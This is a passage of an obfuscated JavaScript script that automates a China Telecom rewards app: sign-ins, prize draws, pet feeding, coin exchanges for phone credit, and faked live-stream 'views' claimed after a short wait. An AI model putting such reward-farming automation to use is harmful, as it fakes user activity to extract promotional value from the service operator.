 434 |   async ["userCoinInfo"](_0x124ec9 = false, _0x1a1cc3 = {}) {
 435 |     try {
 436 |       const _0x374d94 = {
 437 |         "phone": this.name
 438 |       };
 439 |       let _0x4e6fdd = {
 440 |           "fn": "userCoinInfo",
 441 |           "method": "post",
 442 |           "url": "https://wapside.189.cn:9001/jt-sign/api/home/userCoinInfo",
 443 |           "json": {
 444 |             "para": this.encrypt_para(_0x374d94)
 445 |           }
 446 |         },
 447 |         {
 448 |           result: _0x32da86,
 449 |           statusCode: _0x1e20fc
 450 |         } = await this.request(_0x4e6fdd),
 451 |         _0x416871 = _0x49dfef.get(_0x32da86, "resoultCode", _0x1e20fc);
 452 |       if (_0x416871 == 0) {
 453 |         this.coin = _0x32da86?.["totalCoin"] || 0;
 454 |         if (_0x124ec9) {
 455 |           const _0x4aa23f = {
 456 |             "notify": true
 457 |           };
 458 |           this.log("金豆余额: " + this.coin, _0x4aa23f);
 459 |           if (_0x32da86.amountEx) {
 460 |             let _0x1afe63 = _0x49dfef.time("yyyy-MM-dd", _0x32da86.expireDate);
 461 |             const _0x171701 = {
 462 |               "notify": true
 463 |             };
 464 |             _0x49dfef.log("-- [" + _0x1afe63 + "]将过期" + _0x32da86.amountEx + "金豆", _0x171701);
 465 |           }
 466 |         }
 467 |       } else {
 468 |         let _0x5dd2dd = _0x32da86?.["msg"] || _0x32da86?.["resoultMsg"] || _0x32da86?.["error"] || "";
 469 |         this.log("查询账户金豆余额错误[" + _0x416871 + "]: " + _0x5dd2dd);
 470 |       }
 471 |     } catch (_0x46ed9f) {
 472 |       console.log(_0x46ed9f);
 473 |     }
 474 |   }
 475 |   async ["userStatusInfo"](_0xc9a8b1 = {}) {
 476 |     try {
 477 |       const _0x27024b = {
 478 |         "phone": this.name
 479 |       };
 480 |       let _0x46d7e7 = {
 481 |         "fn": "userStatusInfo",
 482 |         "method": "post",
 483 |         "url": "https://wapside.189.cn:9001/jt-sign/api/home/userStatusInfo",
 484 |         "json": {
 485 |           "para": this.encrypt_para(_0x27024b)
 486 |         }
 487 |       };
 488 |       {
 489 |         let {
 490 |             result: _0x7c79f6,
 491 |             statusCode: _0x5610ae
 492 |           } = await this.request(_0x49dfef.copy(_0x46d7e7)),
 493 |           _0x4b983e = _0x49dfef.get(_0x7c79f6, "resoultCode", _0x5610ae);
 494 |         if (_0x4b983e == 0) {
 495 |           let {
 496 |             isSign: _0x577fdd
 497 |           } = _0x7c79f6?.["data"];
 498 |           _0x577fdd ? this.log("今天已签到") : await this.doSign();
 499 |         } else {
 500 |           let _0x16239c = _0x7c79f6?.["msg"] || _0x7c79f6?.["resoultMsg"] || _0x7c79f6?.["error"] || "";
 501 |           this.log("查询账户签到状态错误[" + _0x4b983e + "]: " + _0x16239c);
 502 |         }
 503 |       }
 504 |       {
 505 |         let {
 506 |             result: _0x2cb917,
 507 |             statusCode: _0x42a823
 508 |           } = await this.request(_0x49dfef.copy(_0x46d7e7)),
 509 |           _0x11fe96 = _0x49dfef.get(_0x2cb917, "resoultCode", _0x42a823);
 510 |         if (_0x11fe96 == 0) {
 511 |           let {
 512 |             continuousDay: _0xf63027,
 513 |             signDay: _0x5a3e70,
 514 |             isSeven: _0x434ea0
 515 |           } = _0x2cb917?.["data"];
 516 |           this.log("已签到" + _0x5a3e70 + "天, 连签" + _0xf63027 + "天");
 517 |           _0x434ea0 && (await this.exchangePrize());
 518 |         } else {
 519 |           let _0x57bd0e = _0x2cb917?.["msg"] || _0x2cb917?.["resoultMsg"] || _0x2cb917?.["error"] || "";
 520 |           this.log("查询账户签到状态错误[" + _0x11fe96 + "]: " + _0x57bd0e);
 521 |         }
 522 |       }
 523 |     } catch (_0x70a9ad) {
 524 |       console.log(_0x70a9ad);
 525 |     }
 526 |   }
 527 |   async ["continueSignDays"](_0x57126c = {}) {
 528 |     try {
 529 |       const _0x1396f4 = {
 530 |         "phone": this.name
 531 |       };
 532 |       let _0x40ec16 = {
 533 |           "fn": "continueSignDays",
 534 |           "method": "post",
 535 |           "url": "https://wapside.189.cn:9001/jt-sign/webSign/continueSignDays",
 536 |           "json": {
 537 |             "para": this.encrypt_para(_0x1396f4)
 538 |           }
 539 |         },
 540 |         {
 541 |           result: _0xd56803,
 542 |           statusCode: _0x133cba
 543 |         } = await this.request(_0x40ec16),
 544 |         _0x5ecdbe = _0x49dfef.get(_0xd56803, "resoultCode", _0x133cba);
 545 |       if (_0x5ecdbe == 0) {
 546 |         this.log("抽奖连签天数: " + (_0xd56803?.["continueSignDays"] || 0) + "天");
 547 |         if (_0xd56803?.["continueSignDays"] == 15) {
 548 |           const _0x1e4b5b = {
 549 |             "type": "15"
 550 |           };
 551 |           await this.exchangePrize(_0x1e4b5b);
 552 |         } else {
 553 |           if (_0xd56803?.["continueSignDays"] == 28) {
 554 |             const _0x5bc07e = {
 555 |               "type": "28"
 556 |             };
 557 |             await this.exchangePrize(_0x5bc07e);
 558 |           }
 559 |         }
 560 |       } else {
 561 |         let _0x4e6817 = _0xd56803?.["msg"] || _0xd56803?.["resoultMsg"] || _0xd56803?.["error"] || "";
 562 |         this.log("查询抽奖连签天数错误[" + _0x5ecdbe + "]: " + _0x4e6817);
 563 |       }
 564 |     } catch (_0x52cdc8) {
 565 |       console.log(_0x52cdc8);
 566 |     }
 567 |   }
 568 |   async ["continueSignRecords"](_0x2891d4 = {}) {
 569 |     try {
 570 |       const _0x2228e1 = {
 571 |         "phone": this.name
 572 |       };
 573 |       let _0x49e887 = {
 574 |           "fn": "continueSignRecords",
 575 |           "method": "post",
 576 |           "url": "https://wapside.189.cn:9001/jt-sign/webSign/continueSignRecords",
 577 |           "json": {
 578 |             "para": this.encrypt_para(_0x2228e1)
 579 |           }
 580 |         },
 581 |         {
 582 |           result: _0x1dd52d,
 583 |           statusCode: _0x274d64
 584 |         } = await this.request(_0x49e887),
 585 |         _0xb167e6 = _0x49dfef.get(_0x1dd52d, "resoultCode", _0x274d64);
 586 |       if (_0xb167e6 == 0) {
 587 |         if (_0x1dd52d?.["continue15List"]?.["length"]) {
 588 |           const _0x16fcf5 = {
 589 |             "type": "15"
 590 |           };
 591 |           await this.exchangePrize(_0x16fcf5);
 592 |         }
 593 |         if (_0x1dd52d?.["continue28List"]?.["length"]) {
 594 |           const _0x52fb63 = {
 595 |             "type": "28"
 596 |           };
 597 |           await this.exchangePrize(_0x52fb63);
 598 |         }
 599 |       } else {
 600 |         let _0x3090eb = _0x1dd52d?.["msg"] || _0x1dd52d?.["resoultMsg"] || _0x1dd52d?.["error"] || "";
 601 |         this.log("查询连签抽奖状态错误[" + _0xb167e6 + "]: " + _0x3090eb);
 602 |       }
 603 |     } catch (_0x2bc775) {
 604 |       console.log(_0x2bc775);
 605 |     }
 606 |   }
 607 |   async ["doSign"](_0x1b376e = {}) {
 608 |     try {
 609 |       let _0x3e8ed4 = {
 610 |           "phone": this.name,
 611 |           "date": Date.now(),
 612 |           "sysType": "20002"
 613 |         },
 614 |         _0x405845 = {
 615 |           "fn": "doSign",
 616 |           "method": "post",
 617 |           "url": "https://wapside.189.cn:9001/jt-sign/webSign/sign",
 618 |           "json": {
 619 |             "encode": this.encode_aes(JSON.stringify(_0x3e8ed4))
 620 |           }
 621 |         },
 622 |         {
 623 |           result: _0x380f07,
 624 |           statusCode: _0x36d52d
 625 |         } = await this.request(_0x405845),
 626 |         _0x3b877d = _0x49dfef.get(_0x380f07, "resoultCode", _0x36d52d);
 627 |       if (_0x3b877d == 0) {
 628 |         let _0x5bf6a1 = _0x49dfef.get(_0x380f07?.["data"], "code", -1);
 629 |         if (_0x5bf6a1 == 1) {
 630 |           const _0x13fbb6 = {
 631 |             "notify": true
 632 |           };
 633 |           this.log("签到成功，获得" + (_0x380f07?.["data"]?.["coin"] || 0) + "金豆", _0x13fbb6);
 634 |           await this.userStatusInfo();
 635 |         } else {
 636 |           const _0x106dcf = {
 637 |             "notify": true
 638 |           };
 639 |           this.log("签到失败[" + _0x5bf6a1 + "]: " + _0x380f07.data.msg, _0x106dcf);
 640 |         }
 641 |       } else {
 642 |         let _0x4cd1a1 = _0x380f07?.["msg"] || _0x380f07?.["resoultMsg"] || _0x380f07?.["error"] || "";
 643 |         this.log("签到错误[" + _0x3b877d + "]: " + _0x4cd1a1);
 644 |       }
 645 |     } catch (_0x591e48) {
 646 |       console.log(_0x591e48);
 647 |     }
 648 |   }
 649 |   async ["exchangePrize"](_0x1959e6 = {}) {
 650 |     try {
 651 |       let _0x22bbfa = _0x49dfef.pop(_0x1959e6, "type", "7");
 652 |       const _0x20ec8c = {
 653 |         "phone": this.name,
 654 |         "type": _0x22bbfa
 655 |       };
 656 |       let _0x1ca191 = {
 657 |           "fn": "exchangePrize",
 658 |           "method": "post",
 659 |           "url": "https://wapside.189.cn:9001/jt-sign/webSign/exchangePrize",
 660 |           "json": {
 661 |             "para": this.encrypt_para(_0x20ec8c)
 662 |           }
 663 |         },
 664 |         {
 665 |           result: _0x4217e1,
 666 |           statusCode: _0x4d9c82
 667 |         } = await this.request(_0x1ca191),
 668 |         _0x9afc2f = _0x49dfef.get(_0x4217e1, "resoultCode", _0x4d9c82);
 669 |       if (_0x9afc2f == 0) {
 670 |         let _0x28f1fc = _0x49dfef.get(_0x4217e1?.["prizeDetail"], "code", -1);
 671 |         if (_0x28f1fc == 0) {
 672 |           const _0x3a457e = {
 673 |             "notify": true
 674 |           };
 675 |           this.log("连签" + _0x22bbfa + "天抽奖: " + _0x4217e1?.["prizeDetail"]?.["biz"]?.["winTitle"], _0x3a457e);
 676 |         } else {
 677 |           let _0x8e62fe = _0x4217e1?.["prizeDetail"]?.["err"] || "";
 678 |           const _0x1e3693 = {
 679 |             "notify": true
 680 |           };
 681 |           this.log("连签" + _0x22bbfa + "天抽奖失败[" + _0x28f1fc + "]: " + _0x8e62fe, _0x1e3693);
 682 |         }
 683 |       } else {
 684 |         let _0x32f43a = _0x4217e1?.["msg"] || _0x4217e1?.["resoultMsg"] || _0x4217e1?.["error"] || "";
 685 |         this.log("连签" + _0x22bbfa + "天抽奖错误[" + _0x9afc2f + "]: " + _0x32f43a);
 686 |       }
 687 |     } catch (_0x5751a7) {
 688 |       console.log(_0x5751a7);
 689 |     }
 690 |   }
 691 |   async ["homepage"](_0x7f393b, _0x27b6dc = {}) {
 692 |     try {
 693 |       const _0x91f4c = {
 694 |         "phone": this.name,
 695 |         "shopId": "20001",
 696 |         "type": _0x7f393b
 697 |       };
 698 |       let _0x3c66e4 = {
 699 |           "fn": "homepage",
 700 |           "method": "post",
 701 |           "url": "https://wapside.189.cn:9001/jt-sign/webSign/homepage",
 702 |           "json": {
 703 |             "para": this.encrypt_para(_0x91f4c)
 704 |           }
 705 |         },
 706 |         {
 707 |           result: _0x2bd358,
 708 |           statusCode: _0x15ab0e
 709 |         } = await this.request(_0x3c66e4),
 710 |         _0x1ebbf3 = _0x49dfef.get(_0x2bd358, "resoultCode", _0x15ab0e);
 711 |       if (_0x1ebbf3 == 0) {
 712 |         let _0x31f344 = _0x49dfef.get(_0x2bd358?.["data"]?.["head"], "code", -1);
 713 |         if (_0x31f344 == 0) for (let _0x1e9c0b of _0x2bd358?.["data"]?.["biz"]?.["adItems"] || []) {
 714 |           if (["0", "1"].includes(_0x1e9c0b?.["taskState"])) switch (_0x1e9c0b.contentOne) {
 715 |             case "3":
 716 |               {
 717 |                 _0x1e9c0b?.["rewardId"] && (await this.receiveReward(_0x1e9c0b));
 718 |                 break;
 719 |               }
 720 |             case "5":
 721 |               {
 722 |                 await this.openMsg(_0x1e9c0b);
 723 |                 break;
 724 |               }
 725 |             case "6":
 726 |               {
 727 |                 await this.sharingGetGold();
 728 |                 break;
 729 |               }
 730 |             case "10":
 731 |             case "13":
 732 |               {
 733 |                 !this.xtoken && (await this.get_usercode());
 734 |                 this.xtoken && (await this.watchLiveInit());
 735 |                 break;
 736 |               }
 737 |             case "18":
 738 |               {
 739 |                 await this.polymerize(_0x1e9c0b);
 740 |                 break;
 741 |               }
 742 |             default:
 743 |               {
 744 |                 break;
 745 |               }
 746 |           }
 747 |         } else {
 748 |           let _0x24468f = _0x2bd358?.["data"]?.["head"]?.["err"] || "";
 749 |           this.log("获取任务列表失败[" + _0x31f344 + "]: " + _0x24468f);
 750 |         }
 751 |       } else this.log("获取任务列表错误[" + _0x1ebbf3 + "]");
 752 |     } catch (_0x590aa6) {
 753 |       console.log(_0x590aa6);
 754 |     }
 755 |   }
 756 |   async ["receiveReward"](_0x484772, _0x43564a = {}) {
 757 |     try {
 758 |       let _0x22887b = _0x484772?.["title"]?.["split"](" ")?.[0];
 759 |       const _0x550f47 = {
 760 |         "phone": this.name,
 761 |         "rewardId": _0x484772?.["rewardId"] || ""
 762 |       };
 763 |       let _0x2463d2 = {
 764 |           "fn": "receiveReward",
 765 |           "method": "post",
 766 |           "url": "https://wapside.189.cn:9001/jt-sign/paradise/receiveReward",
 767 |           "json": {
 768 |             "para": this.encrypt_para(_0x550f47)
 769 |           }
 770 |         },
 771 |         {
 772 |           result: _0x1de7a2,
 773 |           statusCode: _0x5b6ad9
 774 |         } = await this.request(_0x2463d2),
 775 |         _0x124e90 = _0x49dfef.get(_0x1de7a2, "resoultCode", _0x5b6ad9);
 776 |       if (_0x124e90 == 0) this.log("领取任务[" + _0x22887b + "]奖励成功: " + _0x1de7a2?.["resoultMsg"]);else {
 777 |         let _0x20a521 = _0x1de7a2?.["msg"] || _0x1de7a2?.["resoultMsg"] || _0x1de7a2?.["error"] || "";
 778 |         this.log("领取任务[" + _0x22887b + "]奖励错误[" + _0x124e90 + "]: " + _0x20a521);
 779 |       }
 780 |     } catch (_0x25a11e) {
 781 |       console.log(_0x25a11e);
 782 |     }
 783 |   }
 784 |   async ["openMsg"](_0x308623, _0x14e0b8 = {}) {
 785 |     try {
 786 |       let _0x435287 = _0x308623?.["title"]?.["split"](" ")?.[0];
 787 |       const _0x13404e = {
 788 |         "phone": this.name
 789 |       };
 790 |       let _0x34d20f = {
 791 |           "fn": "openMsg",
 792 |           "method": "post",
 793 |           "url": "https://wapside.189.cn:9001/jt-sign/paradise/openMsg",
 794 |           "json": {
 795 |             "para": this.encrypt_para(_0x13404e)
 796 |           }
 797 |         },
 798 |         {
 799 |           result: _0x546705,
 800 |           statusCode: _0x2eb743
 801 |         } = await this.request(_0x34d20f),
 802 |         _0x313ba3 = _0x49dfef.get(_0x546705, "resoultCode", _0x2eb743);
 803 |       if (_0x313ba3 == 0) this.log("完成任务[" + _0x435287 + "]成功: " + _0x546705?.["resoultMsg"]);else {
 804 |         let _0x301d94 = _0x546705?.["msg"] || _0x546705?.["resoultMsg"] || _0x546705?.["error"] || "";
 805 |         this.log("完成任务[" + _0x435287 + "]错误[" + _0x313ba3 + "]: " + _0x301d94);
 806 |       }
 807 |     } catch (_0x47faa9) {
 808 |       console.log(_0x47faa9);
 809 |     }
 810 |   }
 811 |   async ["polymerize"](_0x7882f8, _0x3307f2 = {}) {
 812 |     try {
 813 |       let _0x57f3b6 = _0x7882f8?.["title"]?.["split"](" ")?.[0];
 814 |       const _0x588ba0 = {
 815 |         "phone": this.name,
 816 |         "jobId": _0x7882f8.taskId
 817 |       };
 818 |       let _0x32f651 = {
 819 |           "fn": "polymerize",
 820 |           "method": "post",
 821 |           "url": "https://wapside.189.cn:9001/jt-sign/webSign/polymerize",
 822 |           "json": {
 823 |             "para": this.encrypt_para(_0x588ba0)
 824 |           }
 825 |         },
 826 |         {
 827 |           result: _0x55f4ae,
 828 |           statusCode: _0x12bcb6
 829 |         } = await this.request(_0x32f651),
 830 |         _0xe96682 = _0x49dfef.get(_0x55f4ae, "resoultCode", _0x12bcb6);
 831 |       if (_0xe96682 == 0) this.log("完成任务[" + _0x57f3b6 + "]成功: " + _0x55f4ae?.["resoultMsg"]);else {
 832 |         let _0x3c85b6 = _0x55f4ae?.["msg"] || _0x55f4ae?.["resoultMsg"] || _0x55f4ae?.["error"] || "";
 833 |         this.log("完成任务[" + _0x57f3b6 + "]错误[" + _0xe96682 + "]: " + _0x3c85b6);
 834 |       }
 835 |     } catch (_0x364b16) {
 836 |       console.log(_0x364b16);
 837 |     }
 838 |   }
 839 |   async ["food"](_0x72be45, _0x385563 = {}) {
 840 |     try {
 841 |       const _0x43c1bd = {
 842 |         "phone": this.name
 843 |       };
 844 |       let _0x222dd0 = {
 845 |           "fn": "food",
 846 |           "method": "post",
 847 |           "url": "https://wapside.189.cn:9001/jt-sign/paradise/food",
 848 |           "json": {
 849 |             "para": this.encrypt_para(_0x43c1bd)
 850 |           }
 851 |         },
 852 |         {
 853 |           result: _0x57feb0,
 854 |           statusCode: _0x11f22b
 855 |         } = await this.request(_0x222dd0),
 856 |         _0x5ef41d = _0x49dfef.get(_0x57feb0, "resoultCode", _0x11f22b);
 857 |       if (_0x5ef41d == 0) {
 858 |         this.log("第" + _0x72be45 + "次喂食: " + (_0x57feb0?.["resoultMsg"] || "成功"));
 859 |         if (_0x57feb0?.["levelUp"]) {
 860 |           let _0x4ca17a = _0x57feb0?.["currLevelRightList"][0]?.["level"];
 861 |           const _0xd3dda5 = {
 862 |             "notify": true
 863 |           };
 864 |           this.log("宠物已升级到[LV." + _0x4ca17a + "], 获得: " + _0x57feb0?.["currLevelRightList"][0]?.["righstName"], _0xd3dda5);
 865 |         }
 866 |       } else {
 867 |         let _0x5ba722 = _0x57feb0?.["msg"] || _0x57feb0?.["resoultMsg"] || _0x57feb0?.["error"] || "";
 868 |         this.log("第" + _0x72be45 + "次喂食失败[" + _0x5ef41d + "]: " + _0x5ba722);
 869 |         _0x5ba722?.["includes"]("最大喂食次数") && (this.can_feed = false);
 870 |       }
 871 |     } catch (_0x27040d) {
 872 |       console.log(_0x27040d);
 873 |     }
 874 |   }
 875 |   async ["getParadiseInfo"](_0x4d05b5 = {}) {
 876 |     try {
 877 |       const _0x125538 = {
 878 |         "phone": this.name
 879 |       };
 880 |       let _0x270bb1 = {
 881 |         "fn": "getParadiseInfo",
 882 |         "method": "post",
 883 |         "url": "https://wapside.189.cn:9001/jt-sign/paradise/getParadiseInfo",
 884 |         "json": {
 885 |           "para": this.encrypt_para(_0x125538)
 886 |         }
 887 |       };
 888 |       {
 889 |         let {
 890 |             result: _0x364c07,
 891 |             statusCode: _0xcdef27
 892 |           } = await this.request(_0x270bb1),
 893 |           _0x48e40c = _0x49dfef.get(_0x364c07, "resoultCode", _0xcdef27);
 894 |         if (_0x48e40c == 0) {
 895 |           let _0x4a27b8 = _0x364c07?.["userInfo"]?.["levelInfoMap"];
 896 |           this.level = _0x4a27b8?.["level"];
 897 |           for (let _0xfc2d56 = 1; _0xfc2d56 <= 10 && this.can_feed; _0xfc2d56++) {
 898 |             await this.food(_0xfc2d56);
 899 |           }
 900 |         } else {
 901 |           let _0x10b0a2 = _0x364c07?.["msg"] || _0x364c07?.["resoultMsg"] || _0x364c07?.["error"] || "";
 902 |           this.log("查询宠物等级失败[" + _0x48e40c + "]: " + _0x10b0a2);
 903 |           return;
 904 |         }
 905 |       }
 906 |       {
 907 |         let {
 908 |             result: _0x2d4c9d,
 909 |             statusCode: _0x32822d
 910 |           } = await this.request(_0x270bb1),
 911 |           _0x33231c = _0x49dfef.get(_0x2d4c9d, "resoultCode", _0x32822d);
 912 |         if (_0x33231c == 0) {
 913 |           let _0x587dfa = _0x2d4c9d?.["userInfo"]?.["levelInfoMap"];
 914 |           this.level = _0x587dfa?.["level"];
 915 |           const _0x4a392a = {
 916 |             "notify": true
 917 |           };
 918 |           this.log("宠物等级[Lv." + _0x587dfa?.["level"] + "], 升级进度: " + _0x587dfa?.["growthValue"] + "/" + _0x587dfa?.["fullGrowthCoinValue"], _0x4a392a);
 919 |         } else {
 920 |           let _0xc04dee = _0x2d4c9d?.["msg"] || _0x2d4c9d?.["resoultMsg"] || _0x2d4c9d?.["error"] || "";
 921 |           this.log("查询宠物等级失败[" + _0x33231c + "]: " + _0xc04dee);
 922 |           return;
 923 |         }
 924 |       }
 925 |     } catch (_0x4f7ada) {
 926 |       console.log(_0x4f7ada);
 927 |     }
 928 |   }
 929 |   async ["getLevelRightsList"](_0x25055f = {}) {
 930 |     try {
 931 |       const _0xd28e8a = {
 932 |         "phone": this.name
 933 |       };
 934 |       let _0x8f5d11 = {
 935 |           "fn": "getLevelRightsList",
 936 |           "method": "post",
 937 |           "url": "https://wapside.189.cn:9001/jt-sign/paradise/getLevelRightsList",
 938 |           "json": {
 939 |             "para": this.encrypt_para(_0xd28e8a)
 940 |           }
 941 |         },
 942 |         {
 943 |           result: _0x364382,
 944 |           statusCode: _0x49ed45
 945 |         } = await this.request(_0x8f5d11);
 946 |       if (_0x364382?.["currentLevel"]) {
 947 |         let _0x51ee3a = _0x364382?.["currentLevel"] || 6,
 948 |           _0x1a4b17 = false,
 949 |           _0x3a1b27 = "V" + _0x51ee3a;
 950 |         for (let _0x2f7780 of _0x364382[_0x3a1b27] || []) {
 951 |           let _0x583017 = _0x2f7780?.["righstName"] || "";
 952 |           if (this.coin < _0x2f7780.costCoin) continue;
 953 |           (_0x583017?.["match"](/\d+元话费/) || _0x583017?.["match"](/专享\d+金豆/)) && (await this.getConversionRights(_0x2f7780, _0x1a4b17)) && (_0x1a4b17 = true);
 954 |         }
 955 |       } else {
 956 |         let _0x369c9d = _0x364382?.["msg"] || _0x364382?.["resoultMsg"] || _0x364382?.["error"] || "";
 957 |         this.log("查询宠物兑换权益失败: " + _0x369c9d);
 958 |       }
 959 |     } catch (_0x2b311a) {
 960 |       console.log(_0x2b311a);
 961 |     }
 962 |   }
 963 |   async ["getConversionRights"](_0x4ff23b, _0x4050ac, _0x214824 = {}) {
 964 |     let _0x454e1a = false;
 965 |     try {
 966 |       let _0x3ea063 = _0x4ff23b?.["righstName"] || "";
 967 |       const _0x404f21 = {
 968 |         "phone": this.name,
 969 |         "rightsId": _0x4ff23b.id,
 970 |         "receiveCount": _0x4ff23b.receiveType
 971 |       };
 972 |       let _0x3098ed = {
 973 |           "fn": "getConversionRights",
 974 |           "method": "post",
 975 |           "url": "https://wapside.189.cn:9001/jt-sign/paradise/getConversionRights",
 976 |           "json": {
 977 |             "para": this.encrypt_para(_0x404f21)
 978 |           }
 979 |         },
 980 |         {
 981 |           result: _0x269ce8,
 982 |           statusCode: _0x209b41
 983 |         } = await this.request(_0x3098ed),
 984 |         _0x411acf = _0x49dfef.get(_0x269ce8, "code", _0x49dfef.get(_0x269ce8, "resoultCode", _0x209b41));
 985 |       if (_0x411acf == 200) !(_0x269ce8?.["rightsStatus"]?.["includes"]("已兑换") || _0x269ce8?.["rightsStatus"]?.["includes"]("已领取")) && (_0x454e1a = true, _0x4050ac && (await _0x49dfef.wait(3000)), await this.conversionRights(_0x4ff23b));else {
 986 |         let _0x465ea5 = _0x269ce8?.["msg"] || _0x269ce8?.["resoultMsg"] || _0x269ce8?.["error"] || "";
 987 |         this.log("查询权益[" + _0x3ea063 + "]失败[" + _0x411acf + "]: " + _0x465ea5);
 988 |       }
 989 |     } catch (_0x4b949e) {
 990 |       console.log(_0x4b949e);
 991 |     } finally {
 992 |       return _0x454e1a;
 993 |     }
 994 |   }
 995 |   async ["conversionRights"](_0xd4165b, _0x5b8c93 = {}) {
 996 |     try {
 997 |       let _0x5e50ea = _0xd4165b?.["righstName"] || "";
 998 |       const _0x53587c = {
 999 |         "phone": this.name,
1000 |         "rightsId": _0xd4165b.id
1001 |       };
1002 |       let _0x4edcac = {
1003 |           "fn": "conversionRights",
1004 |           "method": "post",
1005 |           "url": "https://wapside.189.cn:9001/jt-sign/paradise/conversionRights",
1006 |           "json": {
1007 |             "para": this.encrypt_para(_0x53587c)
1008 |           }
1009 |         },
1010 |         {
1011 |           result: _0x217a7d,
1012 |           statusCode: _0x3b6d01
1013 |         } = await this.request(_0x4edcac),
1014 |         _0x57dbd8 = _0x49dfef.get(_0x217a7d, "resoultCode", _0x3b6d01);
1015 |       if (_0x57dbd8 == 0) this.log("兑换权益[" + _0x5e50ea + "]成功");else {
1016 |         let _0xc27682 = _0x217a7d?.["msg"] || _0x217a7d?.["resoultMsg"] || _0x217a7d?.["error"] || "";
1017 |         this.log("兑换权益[" + _0x5e50ea + "]失败[" + _0x57dbd8 + "]: " + _0xc27682);
1018 |       }
1019 |     } catch (_0x2097ee) {
1020 |       console.log(_0x2097ee);
1021 |     }
1022 |   }
1023 |   async ["get_usercode"](_0x36cb85 = {}) {
1024 |     try {
1025 |       const _0x2ae7b6 = {
1026 |         "fn": "get_usercode",
1027 |         "method": "get",
1028 |         "url": "https://xbk.189.cn/xbkapi/api/auth/jump",
1029 |         "searchParams": {}
1030 |       };
1031 |       _0x2ae7b6.searchParams.userID = this.ticket;
1032 |       _0x2ae7b6.searchParams.version = "9.3.3";
1033 |       _0x2ae7b6.searchParams.type = "room";
1034 |       _0x2ae7b6.searchParams.l = "renwu";
1035 |       let {
1036 |           statusCode: _0x552d62,
1037 |           headers: _0x17ddd9
1038 |         } = await this.request(_0x2ae7b6),
1039 |         _0x5e7123 = _0x17ddd9?.["location"]?.["match"](/usercode=(\w+)/);
1040 |       _0x5e7123 ? await this.codeToken(_0x5e7123[1]) : this.log("获取code失败[" + _0x552d62 + "]");
1041 |     } catch (_0x4506f4) {
1042 |       console.log(_0x4506f4);
1043 |     }
1044 |   }
1045 |   async ["codeToken"](_0x3fd610, _0x480835 = {}) {
1046 |     try {
1047 |       const _0x269098 = {
1048 |           "usercode": _0x3fd610
1049 |         },
1050 |         _0x1649f3 = {
1051 |           "fn": "codeToken",
1052 |           "method": "post",
1053 |           "url": "https://xbk.189.cn/xbkapi/api/auth/userinfo/codeToken",
1054 |           "json": _0x269098
1055 |         };
1056 |       let {
1057 |           result: _0x13a1e8,
1058 |           statusCode: _0x2966c4
1059 |         } = await this.request(_0x1649f3),
1060 |         _0x2d1b25 = _0x49dfef.get(_0x13a1e8, "code", -1);
1061 |       if (_0x2d1b25 == 0) this.xtoken = _0x13a1e8?.["data"]?.["token"], this.got = this.got.extend({
1062 |         "headers": {
1063 |           "Authorization": "Bearer " + _0x5b4189.encrypt(this.xtoken, "base64")
1064 |         }
1065 |       });else {
1066 |         let _0xc5b03f = _0x13a1e8?.["msg"] || _0x13a1e8?.["resoultMsg"] || _0x13a1e8?.["error"] || _0x13a1e8?.["msg"] || "";
1067 |         this.log("获取token失败[" + _0x2d1b25 + "]: " + _0xc5b03f);
1068 |       }
1069 |     } catch (_0x4998c4) {
1070 |       console.log(_0x4998c4);
1071 |     }
1072 |   }
1073 |   async ["watchLiveInit"](_0x22b256 = {}) {
1074 |     try {
1075 |       let _0x15d470 = Math.floor(Math.random() * 1000) + 1000;
1076 |       const _0xe5bd8a = {
1077 |           "period": 1,
1078 |           "liveId": _0x15d470
1079 |         },
1080 |         _0x346d56 = {
1081 |           "fn": "watchLiveInit",
1082 |           "method": "post",
1083 |           "url": "https://xbk.189.cn/xbkapi/lteration/liveTask/index/watchLiveInit",
1084 |           "json": _0xe5bd8a
1085 |         };
1086 |       let {
1087 |           result: _0x1ba8ea,
1088 |           statusCode: _0x490ef0
1089 |         } = await this.request(_0x346d56),
1090 |         _0xf9de31 = _0x49dfef.get(_0x1ba8ea, "code", -1);
1091 |       if (_0xf9de31 == 0) await _0x49dfef.wait(15000), await this.watchLive(_0x15d470, _0x1ba8ea?.["data"]);else {
1092 |         let _0x5ad16a = _0x1ba8ea?.["msg"] || _0x1ba8ea?.["resoultMsg"] || _0x1ba8ea?.["error"] || _0x1ba8ea?.["msg"] || "";
1093 |         this.log("开始观看直播[" + _0x15d470 + "]失败[" + _0xf9de31 + "]: " + _0x5ad16a);
1094 |       }
1095 |     } catch (_0x6620d2) {
1096 |       console.log(_0x6620d2);
1097 |     }
1098 |   }
1099 |   async ["watchLive"](_0x155ade, _0x2e794f, _0x399361 = {}) {
1100 |     try {
1101 |       const _0x46e134 = {
1102 |           "period": 1,
1103 |           "liveId": _0x155ade,
1104 |           "key": _0x2e794f
1105 |         },
1106 |         _0x162a9f = {
1107 |           "fn": "watchLive",
1108 |           "method": "post",
1109 |           "url": "https://xbk.189.cn/xbkapi/lteration/liveTask/index/watchLive",
1110 |           "json": _0x46e134
1111 |         };
1112 |       let {
1113 |           result: _0x58a2c2,
1114 |           statusCode: _0x28c79a
1115 |         } = await this.request(_0x162a9f),
1116 |         _0x43b0ad = _0x49dfef.get(_0x58a2c2, "code", -1);
1117 |       if (_0x43b0ad == 0) {
1118 |         this.log("观看直播[" + _0x155ade + "]成功");
1119 |         await this.watchLiveInit();
1120 |       } else {
1121 |         let _0x52c0bd = _0x58a2c2?.["msg"] || _0x58a2c2?.["resoultMsg"] || _0x58a2c2?.["error"] || _0x58a2c2?.["msg"] || "";
1122 |         this.log("观看直播[" + _0x155ade + "]失败[" + _0x43b0ad + "]: " + _0x52c0bd);
1123 |       }
1124 |     } catch (_0x5f06a7) {
1125 |       console.log(_0x5f06a7);
1126 |     }
1127 |   }
1128 |   async ["watchVideo"](_0x5b78a0, _0x13a484 = {}) {
1129 |     try {
1130 |       const _0x16d39d = {
1131 |           "articleId": _0x5b78a0
1132 |         },
1133 |         _0x4228bc = {
1134 |           "fn": "watchVideo",
1135 |           "method": "post",
1136 |           "url": "https://xbk.189.cn/xbkapi/lteration/liveTask/index/watchVideo",
1137 |           "json": _0x16d39d
1138 |         };
1139 |       let {
1140 |           result: _0x358ce9,
1141 |           statusCode: _0xf3d4e1
1142 |         } = await this.request(_0x4228bc),
1143 |         _0x13d930 = _0x49dfef.get(_0x358ce9, "code", -1);
1144 |       if (_0x13d930 == 0) this.log("观看短视频[" + _0x5b78a0 + "]成功");else {
